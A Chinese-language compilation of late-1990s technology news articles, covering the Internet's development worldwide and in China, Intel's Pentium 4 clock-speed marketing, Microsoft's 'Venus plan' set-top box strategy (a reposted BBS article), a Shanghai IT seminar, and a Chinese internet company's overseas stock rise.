去年１２月１４日，美国全国广播公司董事长兼执行总裁赖特（左下）和微软公司 总裁盖茨分别在纽约和香港的记者招待会上同时宣布，两家公司将联手开办一个全天２ ４小时播出的有线电视新闻节目，并将提供交互网络联机服务。 前景广阔 钱华林：二十一世纪将是以信息技术、信息产业为基础的社会。几年前，美国政府 提出了『高性能计算与通信』计划，其中所提及的高性能网络，是要在全国建立千兆位 每秒的『信息高速公路』，最终让网络到达每个家庭。美国政府期望这个信息高速公路 将成为下世纪的『新的经济引擎』，使其在世界信息产业中保持领先的地位。与此同时 ，欧洲和一些亚洲国家也不甘落后，纷纷宣布自己的研究发展计划。 互联网络正在以每年增长一倍的速度发展。照此速度，预计到二○○○年，将会发 展到一百万个网络，一亿台计算机，八亿个用户。互联网络发展前景广阔。网络规模和 使用网络人数的增长及基于文字、图像、声音和视频的网络应用不断出现，要求网络有 更好的性能和更高的速度。互联网络现有的技术和网络性能，还不能满足未来信息高速 公路的要求，但由于其迅猛的发展速度，没有人敢在推出新的网络技术时忽视它的存在 ，互联网络将作为未来信息高速公路的雏形，不断地革新和完善。 由于互联网络已日趋成熟，用户已从学术界扩展到其他方面，美国国家科学基金会 决定，将其商业化并委托给通信服务的专业公司管理，转而把经费和精力集中到一批预 研性工程项目中，主要研究高速网络的组网技术、交换技术和多媒体通信技术。有远见 的政治家和科学家认为，互联网络和『信息高速公路』对下一世纪经济发展的影响，将 远远超过四十年代高速公路建设对一些国家经济发展的影响，将改变人类的工作方式和 生活方式。 黄晴：由于互联网络能向联网计算机提供大量程序软件和数据，从而可能影响未来 计算机制造的方向。过去，计算机制造一直向速度更快、容量更大的方向发展，现在有 人提出可以制造更简单、更便宜的网络计算机，便于联网并充分利用网络的程序和数据 资源，其价格约为五百美元，美国苹果公司、ＩＢＭ公司和太阳公司等都已着手进行这 种研制工作。 今后，互联网络的应用将在人们的工作和生活中发挥更大的作用，例如，家庭中的 电器和汽车都将和互联网络联通。乡村医生将通过互联网络和全世界的医学专家对疑难 病人进行会诊。 李文政：互联网络发展，方兴未艾，功用在不断扩大。英国正研究以互联网络代替 学校的课堂，在研究生产用于互联专用的计算机终端。另外，比互联小，用于娱乐、购 物和教育等专用网络也开始出现。人们正开始体验到信息社会可能给人类带来的某种异 乎寻常的生活变动。 互联网络 钱华林（中国科学院计算机网络信息中心副主任、研究员）：互联网络是一批运行 ＴＣＰ／ＩＰ协议的网络互联后的总称。其中最早运行ＴＣＰ／ＩＰ协议的网络是ＡＲ ＰＡＮＥＴ，始建于１９６９年，是美国国防部国防高等研究计划局出资为军方建立的 计算机网络，目的是建立在战争条件下能生存的全国性计算机网络。 １９８６年，美国国家科学基金会投入资金，建立了６个超级计算中心，又为１６ 个地区网络提供了基金。 次年，将超级计算中心和地区网络中心以Ｔ１线路互联，形成了ＮＳＦＮＥＴ骨干 网。在ＮＳＦＮＥＴ发展的同时，美国能源部的能源网、美国宇航局的科学网以及一些 公司建立的基于ＴＣＰ／ＩＰ的网络相继建成，并互联在一起。欧洲、日本等国家也于 ８０年代后期建立了自己的网络并与美国的互联网络相联，形成了世界范围的互联网络 。 １９９５年４月，ＮＳＦＮＥＴ骨干网被拆除，互联网络开始商业化。由美国第二 大通信公司ＭＣＩ负责建立并运行的高速骨干网业务，自西向东建立了四个网络接入点 （设在硅谷、芝加哥、华盛顿、纽约），各政府部门的网络（如能源网、宇航科学网等 ）、网络通信公司建的商业网经这４个接入点互联，各地区网通过上述网络接入。 黄晴（本报驻华盛顿记者）：所谓互联网络是指通过高速数据线路和无线电系统连 接起来的计算机全球网络，它在全球范围内吸收个人与公司、教育机构、媒体等相连通 。在互联网络上的用户在北美洲已达２４００万户以上。 一般用户要通过联机服务公司上网，美国目前主要的联机服务公司有美国联机服务 公司、计算机服务公司、天才联机服务公司、微软网络，等等。 互联网络上现设有名为环球网的超级媒介信息储存系统，连接着全世界的信息源， 用户只需有个人计算机和相应的调制解调器，每月交基本费用就可以上网运行。本报驻 华盛顿记者站的计算机是通过计算机服务公司上网的，每月的基本费用约５０多美元。 互联网络、特别是其环球网的运行在计算机软件业引起了一场革命。在互联网络上 ，ＴＣＰ／ＩＰ协议使得成千上万使用不同操作系统和应用程序的用户可以自由“交谈 ”，环球网的“超文本标识语言”使得所有计算机可以使用一种混合语言在图“页”上 展示信息。有人认为互联网络使软件工业出现了重建新秩序的变化。 联网热潮 黄晴：去年底，美国《新闻周刊》将１９９５年定为互联网络年。去年，美国的股 市颇热，互联网络的股票在不到一年的时间内上涨了５００％。 互联网络的应用范围 在过去１０年中以每年翻一番的速度膨胀。去年，互联网络在美国掀起热潮。据最新的 抽样调查，在年收入超过１０万美元的美国人中，２３％的人订了互联网络服务，在受 调查的美国大公司的２４５个高级管理人员中，５１％的人订了互联网络服务，３６％ 的人的家庭计算机也联了网。 互联网络向用户提供多种信息服务，有通讯社的新闻、杂志的专栏和特稿，有政治 家讲话稿等资料，有商业购物信息和电子购物服务，有电子通信服务，有数字化电影资 料等游戏娱乐活动，有资料查寻服务，旅游信息，气象预报等等。互联网络的发展使电 视、报纸、大商场等均感到有危机感。 于青（本报国际部编辑）：日本的互联网络热时间不长，升温却很快，一家公司通 过民意调查，评选出１９９５年日本最热门话题，并列第一名的是互联网和棒球明星野 茂英雄。 日本有个生产面条的小企业，名为“山田家”，进入互联网推销面条后，知名度大 大提高，增加了不少美国方面的订单。如此小企业的商品进入世界市场，过去不敢想象 ，即使敢想象，也没有在世界各地登广告的财力。大企业尤其是跨国集团，早已名扬天 下，销售网络遍布世界，自然不会放弃入网，但入网扩大宣传的效益则不如“山田家” 。 希望扩大宣传，但财力有限的还包括政府部门。日本政府极为重视互联网这个低成 本的信息渠道。１９９４年夏天，日本首相官邸率先在互联网络上开设了画面，继而通 产省和邮政省等政府部门纷纷效仿。例如外务省对外宣传英文资料，从１９９５年４月 起，可通过互联网络上的日本外务省画面进行查阅。去年１１月大阪ＡＰＥＣ会议前， 外务省在互联网络上开设了“ＡＰＥＣ官方画面”，报道高潮期的查阅次数，最高时一 天达到３．４万次。 李文政（本报驻伦敦记者）：在英国，人们认为互联网络是英国未来信息社会的“ 有机而重要的组成部分”。目前，英国的教育、新闻、出版、工商、金融、娱乐和政府 部门都是互联网络的用户。人们在互联网络里，阅读新闻报刊、交流经济信息，探索最 新科研动态和成果，进行商业通信和产品采购。 英国剑桥大学计算机服务中心的信息官员海伦女士告诉记者，剑桥于７０年代初进 入互联网络，如今，至少有１万台计算机上网。教授、学者、学生和行政人员，介绍研 究成果，参加“国际会议”，进行私人通讯和交流学校所属系、所有关情况，均使用互 联网络。 技术与管理 钱华林：互联网络存在的问题主要出在技术和管理两个方面。 由于互联网络的体系结构是７０年代后期设计、８０年代初期实施并部署的，设计 者们既没有想到它会发展到现在的规模，也没有预料到多媒体通信的任务会如此快速地 落到互联网络身上。因此互联网络在技术上适应不了目前和未来的需求是很自然的。 第一个技术问题是地址空间。设计者们满以为搞得很巧妙，把长度只有４个字节的 地址空间划分成网络号和主机号，针对不同规模的网络，把地址分成Ａ、Ｂ、Ｃ三类。 这样做问题很多：４个字节的地址空间太小；分类后，每个网络里的主机地址使用效率 很低；骨干网路信息过载，降低了工作效率。到不了本世纪结束，网络就不能再扩展了 。为此，专家们目前采用了一种临时办法，根据网络的连接结构成块分配地址。但这不 是彻底的解决办法，只是推迟几年用尽地址而已。 第二个技术问题更为致命，长报文的ＩＰ协议不适合传输实时的音频和视频信息。 这使得目前的互联网络不能用作未来的全球性骨干网。 在管理方面，也有十分头痛的问题。总有一批人在网上做一些不该做的事情。例如 ，攻击别人的机器，窃取他人秘密或隐私，制作、传播色情、暴力等信息，损害本国或 其他国家安全，扰乱社会治安，对他人进行无休止的骚扰等等。为防止网络上的不良信 息和犯罪活动，一方面要采取技术措施，另一方面，应加强法制教育和道德教育，加强 计算机和网络设备、用户帐号的管理。 黄晴：互联网络目前存在社会和技术两个层面的问题。首先，互联网络的“入侵” 现象已日趋严重，有人通过网络，窃取他人的资料和通讯，提取他人的专有程序，复制 或销毁他人的文件，散布计算机病毒。在金融电子化进一步发展后，互联网络还可能成 为经济犯罪、金融犯罪的舞台。 其次，“有害信息”问题相当严重，有人通过互联网络传送色情图像或色情游戏， 使青少年沉溺其中，身心受害。有人通过互联网络散布种族主义言论、散布仇恨情绪。 去年美国俄克拉何马城大爆炸前后，美国的极端右翼组织就通过互联网络进行串联和煽 动。 此外，互联网络往往使一些青少年长时间沉溺于电子世界中，与现实生活和世界割 断了联系，也造成了特定的社会问题。 “人”通广大（美术） 如今，只要您有一台计算机，配上必要的软件，再加入网络，就可了解全球各种信 息。真是“秀才不出门，可知天下事”。 朱根华 中国网络 钱华林：我国的互联网络也是从学术网络开始建设和发展的，可分为三个阶段。 第一阶段，１９８６年到１９９３年２月。这一时期，中国与互联网络的连接是间 接的连接。连接手段为国际长途拨号以及后来的公用数据网。实现这种通信的单位，先 后有北京计算机应用研究所、中国科学院高能物理研究所等。 网络的主要功能是电子邮件。虽然这些连接不具备互联网络的大部分功能，不是真 正的互联网络连接，但作为我国国际联网的第一个阶段，起了极为重要的作用。 第二阶段，１９９３年３月到１９９４年４月。１９９３年３月，中科院高能物理 研究所与美国斯坦福线性加速器中心开通了一条６４千位每秒的卫星专线，用以传输北 京正负电子对撞机的实验数据。但这种连接仍然有很多局限。 第三阶段，１９９４年４月至今。是由“中国国家计算与网络设施（ＮＣＦＣ）” 工程发起，并在全国掀起了一个了解、建设和使用互联网络的高潮。 ＮＣＦＣ工程是世界银行贷款“重点学科发展项目”中的一个高技术基础设施项目 。该项目由中国科学院主持，联合北京大学、清华大学共同完成。项目总经费约７００ ０万元。１９９４年４月，开通了与互联网络的国际连接。同时，由中国科学院计算机 网络信息中心建成了互联网络中国区的最高级域名服务器（ＣＮ域名服务器），并于１ ９９４年５月，在北京计算机应用研究所和德国卡尔斯鲁厄大学的协助下，向网络信息 中心注册了ＣＮ域名，还在美国和欧洲建立了４个ＣＮ域名服务器副本。至此，中国正 式成为互联网络的一个组成部分，并与国际的网络信息中心建立了规范的业务联系。 目前，ＮＣＦＣ将全国各地的６０多个科技、教育单位连接入网，有１５０多个以 太网，３０００多台计算机，工作站以上机器８００多台，每天供９０００名科研、教 育人员使用。 在ＮＣＦＣ的推动下，一批科研网络、教育网络、部委的网络纷纷开始建设。 廖先旺（本报国际部编辑）：自去年６月２１日起，由邮电部建立的中国互联网络 （ＣＨＩＮＡＮＥＴ）正式开通以来，几个月的时间里已有２０００多用户入网，其中 个人用户占近一半。 入网的机构和个人只需要一台微机、一个调制解调器和一条电话线便可漫游全球的 信息之海———互联网络。只要你将电脑联入网络，输入相应的地址，便可在自家的电 脑屏幕上看到当天的《人民日报》和《市场报》，甚至当天的《纽约时报》和法国的《 解放报》。如果你一时没有时间阅读这些报纸，你可以暂存在电脑磁盘中，闲暇时再来 看。 通过中国互联网络环球浏览服务器，你可以看到中国目前各主要高等学校的简介、 北京图书馆的历史、中国主要旅游景点、各大城市旅馆介绍，在华三资企业的介绍及其 服务网络。如果你是一名研究人员，你可以通过网络很快了解世界各国同行及主要研究 机构的研究进展情况，与它们交流学术经验；你也可以通过联机检索在全球范围找到急 需的资料。
Intel：荒谬的"频率至上"理论 很久以来，我们的CPU市场一直由Intel的P6核心产品占据，前后延续时间长达4年之久，从166MHz的Pentium Pro，一直到1.26GHz的Pentium III-S，前后相差接近8倍。由于这4年正是IT产业大发展的时期，人们对电脑的认识以这个阶段最为深刻，而回想市场上的主流处理器，从Pentium Pro，Pentium II，到Pentium III，再直到Pentium III-S，各系列产品之间几乎没有频率重复，但性能则不断提高，所以Intel凭借P6系列产品给人们脑海中打下了一个深深的烙印--处理器的性能是以频率为评判标准的，高频CPU将必然带来高性能。 由于英特尔在频率竞争中占有一定优势，所以长期以来，它也不断大力继续推广这类信息，例如开新闻发布会等方式，加深人们对处理器频率之冠的关注程度，以体现自己产品的权威性，并顺应用户心目中这种思维定式，推出了一面世最低频率就高达1.3GHz，最高2GHz的Pentium 4。果然不出所料，大多数人都纷纷为之倾倒，销售情况非常良好。 不过，并不是所有人都会头脑发热，一些中立评测媒体率先表示：Pentium 4并不是想当然的高性能的！这是什么意思呢？原来，当Pentium 4发布后，必然会引起几乎所有人的关注，其中必然就会有中立媒体，虽然大多数人有思维惯性，但作为行业内人员，尤其是专业评测人员心中都清楚：所谓的"频率至上"理论只是一种在特定情况下才起正确的理论，当遇上Pentium 4后，这个理论可以归结为荒谬。Intel过去4年的处理器都沿用P6核心，在同样核心情况下，除了二级缓存差异和外频差异以外，决定CPU性能的的确是以主频率最为关键，而Pentium 4已经不再采用老的P6核心，改为拥有两倍于P6的管线长度的P7核心，但Pentium 4使用的却不是P6核心，而采用了一个全新的核心，CPU必须重新加以测试，并定位其性能，并不能以老的眼光继续看待新产品。于是，评测机构就开始日以继夜地进行工作，最后得出的结论是--Pentium 4是一款小轮子的赛车。 这是什么含义呢？原来，Pentium 4采用的新核心是一种以频率换性能的产品，实际测试表明，1.13GHz的Pentium III处理器在绝大多数使用上超越了1.5GHz的Pentium 4，而1.4GHz的Athlon则对1.7GHz的Pentium 4在大多数应用中占有绝对性能优势，这就意味着，Pentium 4单位频率的性能要比过去的P6和K7核心处理器低，造成的结果就是：频率，将不再能代表性能。
Transmet公司正在开发一种神秘的处理器。由于Linux操作系统的创造者Linus Torvalds的加盟，该处理器似乎显得极为重要。Transmet公司在其网页上称“这将是一款基于软件的智能处理器”，而业界专家们根据零星透露出来的信息猜测，这款处理器可能会对IT市场带来重大的影响。Transmet公司将在明天公布这款神秘处理器的一些细节，让我们拭目以待。
日月光华站精华区 -------------------------------------------------------------------------------- 发信人: bgao ( ), 信区: Internet 标 题: “维纳斯计划”的台前幕后 (转载) 发信站: 日月光华站 (Mon Mar 29 08:55:43 1999) , 站内信件 【 以下文字转载自 MS_Windows 讨论区 】 【 原文由 bgao 所发表 】 发信人: xg (xg), 信区: ChinaNews 标 题: “维纳斯计划”的台前幕后 发信站: The unknown SPACE (Sun Mar 28 11:30:17 1999), 转信 “这个协议（“维纳斯计划”）将帮助在美国失败的ＣＥ 在中国获得机顶盒市场的统治地位。”————Ｂｌｏｏ ｍｂｅｒｇ新闻报道　 “维纳斯计划”的台前幕后　　　 □方兴东 一、盖茨在美国市场的窘况 　　近１０年，比尔·盖茨最大的梦想就是将他的势力从电脑 空间延伸至电视空间。理由很简单：美国有２０００万家庭拥 有ＰＣ，比例长期徘徊在４０％左右；同时却有６８００万有 线电视用户，覆盖着９５％的家庭。如果能在电视这个盒子上 开一个眼，向微软流出源源不断的利润，微软的江山会更加稳 当。 　　１９９８年初，盖茨在“家用电子产品展”上宣布了如下 消息：微软与美国最大有线电视网ＴＣＩ达成协议，在ＴＣＩ 即将推出的５００万台机顶盒中使用Ｗｉｎｄｏｗｓ　ＣＥ。 有人说，这一协议的意义可与１９８０年盖茨与ＩＢＭ的谈判 相比拟。那一次，ＭＳ—ＤＯＳ成为ＩＢＭ　ＰＣ的首选，从 此将盖茨推向ＰＣ业的统治地位。 　　现今网络如日中天，最热的两个话题是：带宽和技术标 准。拥有任何一项都意味着巨额财富。有线电视网就握着阔绰 的带宽。盖茨则盯着技术标准。这是他唯一的赌注。现在，微 软终于将一只脚踏进了电视行业。虽然这个合同微软几乎没赚 钱，硬软件技术许可费每份才１０美元左右。 　　真正的打击是另一件事。此前，ＴＣＩ已与微软的劲敌Ｓ ｕｎ达成类似协议，这批产品将同时使用Ｊａｖａ技术。ＴＣ Ｉ互联网服务负责人Ｂｒｕｃｅ　Ｒａｖｅｎｅｌ说：“我们 对这个领域十分警惕，它一不留神就会沦为另一个ＰＣ业：一 个专有的操作系统和相配的ＣＰＵ控制住整个产业。”ＴＣＩ 的ＣＥＯ约翰·马龙是有线电视业的“比尔·盖茨”，他更直 截了当：“比尔必须接受一个事实：他不可能像他在ＰＣ业一 样，在我们这一行获得统治地位。” 　　盖茨也很快明白，这是一场他丝毫不占优势的“拳王争霸 战”（Ｂｏｘ即指机顶盒，也有拳击之意）。不久前，ＴＣＩ 更宣布将订单锐减至１００万台。与此同时，美国另外最大的 １４家有线电视网生产的机顶盒都选用ＣＥ的竞争产品 ————由科学亚特兰大（ＳＡ）开发的ＰｏｗｅｒＴＶ。这 意味着美国有线电视业开始向微软大声说“不”。意味着在美 国机顶盒市场，微软已大势已去。于是，微软将目光瞄向亚 洲，尤其是混沌初开的中国。 二、“让一个村的人养一个小孩” 　　微软叩击电视大门已有近１０年的历史。１９９１年夏， 微软首席技术官梅尔沃德起草了一份备忘录：使电脑的概念超 过ＰＣ，走向交互电视。于是，高级消费技术部（ＡＣＴＧ） 成立，开发控制各种非ＰＣ装置及数字电视的软件。 　　盖茨挖来Ａｌｌｉａｎｔ公司创始人曼迪（Ｍｕｎｄｉ ｅ）负责项目。Ａｌｌｉａｎｔ是超级计算机公司。让一个对 付内含百千个微处理器庞然大物的人来对付小装置，似乎有点 牛刀小用。但曼迪对操作系统了如指掌，是知名的梦想家，而 且此前他对Ｗｉｎｄｏｗｓ一无所知，这正是盖茨希望的。曼 迪一上任，就重起炉灶，出台Ｗｉｎｄｏｗｓ　ＣＥ。ＣＥ， 就是“消费电子”（Ｃｏｎｓｕｍｅｒ　ｅｌｅｃｔｒｏｎｉ ｃｓ）。 　　１９９３年，微软与ＴＣＩ、时代华纳、ＡＴ＆Ｔ　等巨 头协商成立一个交互电视的合资公司未果。在这期间，ＣＥ逐 渐成为一个产品，开始能驱动一些数字装置。１９９６年底， 用于手持ＰＣ的ＣＥ　１·０发布。这个数百名程序员花费数 千万美元耗时数年的产品仍有许多漏洞，微软数字电视部门经 理迈克·孔蒂不无揶揄地说：“这就像让一个村庄的人来养一 个小孩。” 三、从交互电视到互联网 　　曼迪的任务绝不只是开发操作系统，而要重新改造电脑。 曼迪的答案叫“Ｍｙ　ＴＶ”，也就是“微软交互电视”（Ｍ ＩＴＶ）。但进展缓慢，１９９４年６月，在爱迪生电气学院 演示，结果盖茨演砸了，屏幕上只有一片空白。一年后，盖茨 又给有线电视业演示，ＥＰＳＮ、Ｓｔａｒｗａｒｅ、ＨＳ Ｎ、三星等巨头济济一堂，但再次失败。大家都认为微软是到 电视业来放“汽件”（ｖａｐｏｒ）。曼迪对交互电视手足无 措。 　　正当微软在交互电视的漫漫长夜中摸索时，互联网横空出 世了。这个反商业的、自上而下爆发的技术引发了华尔街和硅 谷共同的狂热。１９９５年中，交互电视很快沦为一个笑料。 虽然５月微软仍在兜售ＭＩＴＶ，还继续着与ＴＣＩ、ＳＢ Ｃ、日本电报电话公司的三个交互电视项目，但盖茨在一份 “互联网浪潮” 的内部备忘录中已宣布：“网络将是ＩＢＭ　 ＰＣ发布以来业界最重要的发展。 ” 　　１２月，盖茨向媒体正式宣布了他的“互联网战略”。尽 管这一年Ｗｉｎｄｏｗｓ　９５取得惊人成功，但在互联网 上，微软极为被动。 　　“交互电视最早的动议没有回答两个关键问题：如何在鼓 动消费者的同时又使产品真正物有所值？相关的服务和应用软 件究竟从何而来？”曼迪说。而互联网，则有丰富的服务和软 件。这一举解决了产品的“鸡与蛋”问题。 　　于是，盖茨发起向互联网进军的总动员，ＣＥ也及时调转 了枪口。 四、“如果让他得逞，我们全是傻瓜” 　　盖茨最明白微软的弱点：自身无法为新领域提供真正的创 造力。因此对他来说，互联网最美好的东西就是它孵出的Ｗｅ ｂＴＶ。这家硅谷公司由苹果前经理斯蒂夫·普尔曼创办。他 想让人们通过电视也可看到网上Ｃａｍｐｅｌｌ诱人的美汤。 他的计划奏效了，１９９６年秋创办的公司很快变成了大生 意。１９９７年，微软以４·２５亿美元购进ＷｅｂＴＶ。 　　对微软来说，ＷｅｂＴＶ是终极的“交互电视”：这个２ ００美元的机顶盒能使电视上网，而且已有２５万忠实订户。 “最有趣的，就是它像一台电脑，但人们却把它当成更好的电 视，这是我们新的启迪。” 　　ＣＥ调头网络，机遇也极佳：一方面视频点播不再是梦 想，同时数字电视也浮出水面。１９９７年４月，机会来了。 美国主要的有线电视ＣＥＯ到微软总部和硅谷进行“技术春 游”。曼迪乘机推销公司的重大“发明”。３个月后，在纽约 洛克菲勒中心的时代华纳总部，盖茨面对同一批ＣＥＯ，讲述 了微软的一揽子解决方案。这一次，盖茨的演示十分成功，可 以用“令人震惊”来形容。 　　但盖茨的失败就因为他的演示太精彩了。 　　就在几周前，微软以１０亿美元购买了另一有线电视巨头 Ｃｏｍｃａｓｔ　１１·５％的股份，正式向有线电视业投下 巨额赌金，使疲软了两年的有线电视业为之一振，行业股票指 数陡增２１％。但对有线电视业来说，微软带来的不是福音， 而是惊醒。 　　盖茨端出的是一整套系统：服务器端使用Ｗｉｎｄｏｗｓ 　ＮＴ，机顶盒端使用ＣＥ，而且盖茨还想分享用户订费。也 就是说，微软要收取的不仅仅是技术许可费，而要向这些巨头 们收取机顶盒相关的一切费用。 　　盖茨为自己的胃口与急切付出了最惨重的代价。 　　一个月后，马龙在ＴＣＩ年度股东大会上说：“比尔·盖 茨想让自己成为这场革命的唯一技术供应商。如果我们都追随 他，让他得逞，那我们都是傻瓜。” 五、“这一行里，没人能靠技术捞钱” 　　马龙立即纠集他的军团，成立了Ｏｐｅｎ　Ｃａｂｌｅ， 任务是确保机顶盒产品将与任何一家厂商任何一种操作系统兼 容，使任何一家软件试图独占市场的梦想破灭。 　　马龙说：“这符合有线电视业的一贯作法。我们喜欢彼此 之间平等竞争，因此必须让不同的公司提供系统的不同部分， 使机顶盒成为傻瓜型产品，没有人能靠技术捞钱。” 　　因为这个行业的中心是为用户提供更丰富更廉价的内容和 服务。而盖茨的算盘是让ＣＥ成为唯一标准。让ＣＥ成为机顶 盒上所有应用软件和微处理器的统一平台。盖茨的玩法根本无 法让他们接受。他们不会让满桌子的钱全让给盖茨。 　　Ｏｐｅｎ　Ｃａｂｌｅ由ＣａｂｌｅＬａｂｓ管理。Ｃａ ｂｌｅＬａｂｓ是有线电视业的研发中心，负责为行业推荐标 准。到１９９７年１０月，ＣａｂｌｅＬａｂｓ就收到了２３ 份来自不同公司的建议，包括Ｉｎｔｅｌ、Ｓｏｎｙ、Ｓｕ ｎ，当然也有微软。“要使简单性和低成本两者得兼，就绝对 不能让一家供应商提供全部东西，而应该在价格和创新上展开 开放的竞争。” 　　ＳＡ也在开发操作系统ＰｏｗｅｒＴＶ。Ｃｏｍｃａｓｔ 率先成为它的客户，在Ｅｘｐｌｏｒｅｒ　２０００机顶盒选 用ＰｏｗｅｒＴＶ。盖茨的投资使Ｃｏｍｃａｓｔ身价陡增， 但他们并不想为盖茨的慷慨作出报答，大概因为这关系到整个 行业的命运。 　　与此同时，通用仪器也开始与微软和Ｓｏｎｙ同时谈判。 Ｓｏｎｙ准备组建一个基本网络架构，涉及有线电视、电视广 播、卫星传输、互联网及ＤＶＤ等家电。微软的玩法让家电业 也难以接受。但这并不意味着Ｓｏｎｙ要与微软正面对抗。因 为Ｓｏｎｙ也欢迎ＣＥ，但与其他厂商一样平等对待。“用谁 的操作系统和ＣＰＵ都无关紧要。他们都仅仅是盒子里的一个 组件，仅仅是让它工作起来。服务和内容才最重要！” 六、盖茨的真正“野心” 　　微软当然明白服务的重要，这是他们真正的猎物。曼迪 说：“我们将互联网视为未来数字电视服务的一项功能。”因 此，在微软机顶盒战略背后还埋伏着许多东西：交互式城市指 南ＳｉｄｅＷａｌｋ，在线旅游服务，Ｅｘｐｅｄｉａ新闻Ｍ ＳＮＢＣ，邮件Ｈｏｔｍａｉｌ⋯⋯ 　　也就是说，微软对机顶盒市场的最终目标还是：服务。无 论是ＣＥ还是ＷｅｂＴＶ都只是打入市场的楔子。ＷｅｂＴＶ 经过多年发展，订户也不到５０万。而每家有线电视网都有上 千万订户，这是盖茨真正渴求之处。微软不但要将互联网内容 与服务推向更庞大的有线电视用户，而且还想成为未来网络银 行的中间商，控制软件和服务，在电子商务领域占据统治地 位。“微软的战略完全基于自己的需求和考虑，而不是着眼于 整个世界的变化趋势。”ＴＣＩ等有线电视巨头都将自己视为 视频内容的当然供应商，压根儿不想与另一家软件厂商来分享 订户的费用。 　　原本生气勃勃的ＷｅｂＴＶ也可能沦为微软竞争策略的牺 牲品。购并后，ＷｅｂＴＶ不再支持网上最热门的两项技术： ＲｅａｌＮｅｔＷｏｒｋｓ流技术的最新三个版本：Ｒｅａｌ Ａｕｄｉｏ　４·０、５·０和Ｇ２，也不支持Ｓｕｎ的Ｊａ ｖａ功能。这两家公司都是与微软正面交锋的敌人。微软的做 法引发了ＷｅｂＴＶ用户的极大不满。因为用户无法享受全面 的Ｗｅｂ特性。竞争对手ＷｏｒｌｄＧａｔｅ趁势而上，不但 产品比ＷｅｂＴＶ更全面、更快速、更便宜，而且月费仅４· ９５美元（ＷｅｂＴＶ　为１９·９５美元）。 　　微软在美国机顶盒市场节节败退，他们的机遇或许在亚 洲，在中国。 七、脑袋在自己肩上 　　一切都势如破竹。３月１０日，微软在中国发布“维纳斯 计划”。同一天Ｂｌｏｏｍｂｅｒｇ新闻报道说：“这个协议 （与联想、四通等公司）将帮助在美国失败的ＣＥ在中国获得 机顶盒市场的统治地位。” 　　“维纳斯计划”的技术并不先进。规划中的产品与Ｗｅｂ ＴＶ相似，但还不如ＷｅｂＴＶ，技术含量更不如ＰＣ，甚至 不是真正意义上的机顶盒。因为它没有利用有线电视线路，仍 靠电话拨号上网。其次，利用传统电视３５０线的分辨率并不 能很好显示普通网页。因此，“维纳斯计划”很可能是对中国 老百姓智力的一种低估。 　　而且机顶盒市场，技术已不再重要，更无所谓核心技术。 况且，中科院软件研制中心的类似操作系统也将在下半年推出 （并不是某老总所说的“两三年之后 ”）。 　　机顶盒的真正价值是服务。令人纳闷的是，在国外，机顶 盒通常由服务商（有线电视公司）直接提供。而这次“维纳斯 计划”，微软却只拉来ＰＣ、ＶＣＤ、家电生产厂商。服务商 的缺席意味着什么？ 　　意味着微软对服务另有企图！如果微软控制了硬、软件， 一旦中国信息服务业开放，整个机顶盒的服务市场就是微软的 囊中之物。因为许多服务内容均可固化在硬件中，微软的介入 将不费吹灰之力。中国硬件和软件业的“压迫式”生存已是既 定事实，根本无法在短期内改善。刚刚萌芽的服务业是未来中 国ＩＴ业的最大希望。如果这块新阵地提前丢失，那中国ＩＴ 业的未来将不可想象！正如Ｓｕｎ的麦克尼利说：“如果谁将 微软仅仅看成一家软件公司，那谁就是傻瓜。” 如果谁低估微 软的野心和智慧，谁就将自食其果。 　　我们必须引进技术，但关键要引进竞争技术！市场竞争的 最高境界，就是彼此制衡。用别人的技术发展产业，用别人的 技术制衡别人的技术，这才是中国ＩＴ业应做的。 　　有两三种竞争产品时，市场就活了，垄断就死了。尤其在 市场萌芽期，同时引进两三种类似技术，可达到“四两拨千 斤”的效果。微软的市场价值已达４０００亿美元。ＴＣＩ旗 下三家公司的市场价值总和不过４００亿美元，甚至还不到盖 茨个人财富的一半。而且，ＴＣＩ还背着１５０亿美元债务， 微软却拥有同样数额的现金。ＴＣＩ在微软面前，“一下子成 了大白鲨面前的一尾小鱼。”可是巧施战术，马龙就轻易化解 了微软的锋芒。 　　这就是竞争的艺术所在！ 　　ＣＥ的对手们可能认为中国市场还不成熟，还要等待时 机。那么我们为什么不能主动将他们请进来？未来的机顶盒市 场应该群雄并起，因为并没有技术壁垒。即使这些技术最终败 给微软，可如果靠竞争使许可费降低哪怕１０美元，不就是中 国企业和用户的一大胜利吗？　　　　　　　　　　 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 192.168.224.13] -------------------------------------------------------------------------------- *[日月光华站] [全部讨论区列表] [分类讨论区列表] [精华区列表]
上海信息产业界近千精英人士今天（1月18日）上午汇聚国际贵都大酒店，研讨2000年上海国际计算机的应用与发展趋势。 　　本次大型研讨会是由上海市信息中心主办、上海立特信息咨询公司协办的。在为期一天的会上，上海市信息化办公室领导、IT领域著名学者和国内外著名厂商的专业人士就2000年上海信息网络基础建设的规划和发展、计算机系统结构的发展趋势、企业信息化建设的实施和解决方案、网络技术的应用与互联网的发展方向等分别作了精彩的演讲。 　　与会人士认为，计算机技术的迅速发展和应用，正把我们带进一个全新的信息网络时代，这个时代无疑将给我们带来经济和高新技术的更加迅猛增长与发展。与此同时，IT行业在新千年到来之际，也已经无可避免的加入到全球经济一体化的惊涛骇浪之中，既面临着挑战，也面临着机遇。 　　不少与会者希望，上海市有关方面应以更加积极、更加开放的姿态，采取更为有效的措施，缩小与外省市的差距，促进上海信息产业的大踏步的发展。 　　至记者中午发稿时为止，研讨会还在进行中。
日前，一家成立仅一年的中国互联网公司———北京世纪永联公司及其网站“软件屋”在美国著名ＯＴＣＢＢ（ＯＴＣＢｕｌｌｅｔｉｎＢｏａｒｄ）证券市场借壳的ＴＮＯＴ股票股价从９美分到突破３美元，１０天内股价猛涨了３００倍。北京世纪永联，这个当时在北京海淀区注册１００万元人民币的小公司，如今市值已升至７５００万元人民币，公司董事长赵晓侠也几乎在一夜之间成了千万富翁。业内资深专家和观察家对此评析认为，采取借壳上市的方式，于这样短的时间内在海外成功上市，在中国企业还是首例，它为中国企业、尤其是互联网企业提供了一个全新的海外融资模式。 　　人们还注意到，在美国纳斯达克上市的的首支中国网络股对中国将加入ＷＴＯ立即作出反应，中华网国际网络传讯有限公司Ｃｈｉｎａ．ｃｏｍ在纳斯达克股市上涨幅度达７５％，冲出１００美元的高价，再次受到当地投资者的追捧。 　　１９９９年，风起云涌的网上创业热潮及风险资本催生下新兴网站成批出现，在全球网络经济发展中“中国概念”尤为引人注目。 　　投资者为何青睐中国互联网市场 　　